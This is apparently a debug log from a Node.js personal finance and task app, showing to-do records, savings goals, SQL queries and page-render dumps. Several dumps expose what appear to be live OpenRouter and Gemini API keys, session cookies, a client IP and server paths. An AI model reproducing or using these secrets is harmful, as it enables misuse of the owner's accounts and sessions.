    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 9,
    title: 'Start new YouTube series',
    description: 'Dev vlog or tutorial channel about budgeting apps. Good side project.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 10,
    title: 'Upgrade home office setup',
    description: 'Better monitor arm, LED strip, and a sit-stand desk. Eventually.',
    category: 'Finance',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  }
]
2026-05-18T06:00:44.812Z server-connect:output queryActive: [
  {
    id: 1,
    title: 'Prepare Q3 Marketing Presentation',
    description: 'Include new feature launch metrics and budget allocation proposal.',
    category: 'Work',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 2,
    title: 'Renew car insurance',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '2026-10-14T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 3,
    title: 'Gym Workout',
    description: null,
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Daily',
    next_due_date: '2026-03-06T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 4,
    title: 'Pay Credit Card Bill',
    description: 'Pay before the due date to avoid late fees and credit score impact.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Monthly',
    next_due_date: '2026-03-09T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 5,
    title: 'Weekly Grocery Shopping',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Weekly',
    next_due_date: '2026-03-07T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 6,
    title: 'Save for new iPhone 15',
    description: 'Need to replace my old phone. Selling old one will add to this.',
    category: 'Finance',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '80000.00',
    saved_amount: '45000.00'
  },
  {
    id: 7,
    title: 'Buy gaming mouse and keyboard',
    description: 'Razer DeathAdder & Keychron K2.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '10000.00',
    saved_amount: '10000.00'
  },
  {
    id: 13,
    title: 'Search Macbook Box',
    description: '',
    category: 'Personal',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-05T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:56:37.000Z',
    updated_at: '2026-03-06T12:56:37.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 14,
    title: 'Go to Gym',
    description: '',
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '1899-11-29T18:38:50.000Z',
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:57:54.000Z',
    updated_at: '2026-03-06T12:57:54.000Z',
    repeat_type: 'Daily',
    next_due_date: '1899-11-29T18:38:50.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 15,
    title: 'Buy 16GB RAM x 2',
    description: '',
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:59:08.000Z',
    updated_at: '2026-03-06T12:59:08.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '35000.00',
    saved_amount: '30000.00'
  }
]
2026-05-18T06:00:45.380Z server-connect:router Serving templateView /goal
2026-05-18T06:00:45.381Z server-connect:app Executing action step identify
2026-05-18T06:00:45.381Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:45.381Z server-connect:output identity: 1
2026-05-18T06:00:45.381Z server-connect:app Executing action step restrict
2026-05-18T06:00:45.381Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:45.381Z server-connect:output restrict: undefined
2026-05-18T06:00:45.381Z server-connect:router Render template goal
2026-05-18T06:00:45.381Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:45.589Z server-connect:router Serving serverConnect /api/goals/list
2026-05-18T06:00:45.589Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-05-18T06:00:45.590Z server-connect:app Executing action step identify
2026-05-18T06:00:45.590Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:45.590Z server-connect:output identity: 1
2026-05-18T06:00:45.590Z server-connect:app Executing action step restrict
2026-05-18T06:00:45.590Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:45.590Z server-connect:app Executing action step identify
2026-05-18T06:00:45.590Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:45.590Z server-connect:output identity: 1
2026-05-18T06:00:45.590Z server-connect:app Executing action step restrict
2026-05-18T06:00:45.590Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:45.591Z server-connect:output restrict: undefined
2026-05-18T06:00:45.591Z server-connect:app Executing action step custom
2026-05-18T06:00:45.591Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-05-18T06:00:45.592Z server-connect:output restrict: undefined
2026-05-18T06:00:45.592Z server-connect:app Executing action step paged
2026-05-18T06:00:45.592Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-18T06:00:45.594Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-05-18T06:00:45.596Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-05-18T06:00:46.923Z server-connect:router Serving templateView /credit-cards
2026-05-18T06:00:46.924Z server-connect:app Executing action step identify
2026-05-18T06:00:46.924Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:46.924Z server-connect:output identity: 1
2026-05-18T06:00:46.924Z server-connect:app Executing action step restrict
2026-05-18T06:00:46.924Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:46.925Z server-connect:output restrict: undefined
2026-05-18T06:00:46.925Z server-connect:router Render template credit-cards
2026-05-18T06:00:46.925Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:48.503Z server-connect:router Serving templateView /expense/list
2026-05-18T06:00:48.504Z server-connect:app Executing action step identify
2026-05-18T06:00:48.504Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:48.504Z server-connect:output identity: 1
2026-05-18T06:00:48.504Z server-connect:app Executing action step restrict
2026-05-18T06:00:48.504Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:48.504Z server-connect:output restrict: undefined
2026-05-18T06:00:48.504Z server-connect:router Render template expense/list
2026-05-18T06:00:48.505Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:48.766Z server-connect:router Serving serverConnect /api/expense/list
2026-05-18T06:00:48.766Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-05-18T06:00:48.766Z server-connect:app Executing action step identify
2026-05-18T06:00:48.766Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:48.766Z server-connect:output identity: 1
2026-05-18T06:00:48.766Z server-connect:app Executing action step restrict
2026-05-18T06:00:48.766Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:48.767Z server-connect:app Executing action step identify
2026-05-18T06:00:48.767Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:48.767Z server-connect:output identity: 1
2026-05-18T06:00:48.767Z server-connect:app Executing action step restrict
2026-05-18T06:00:48.767Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
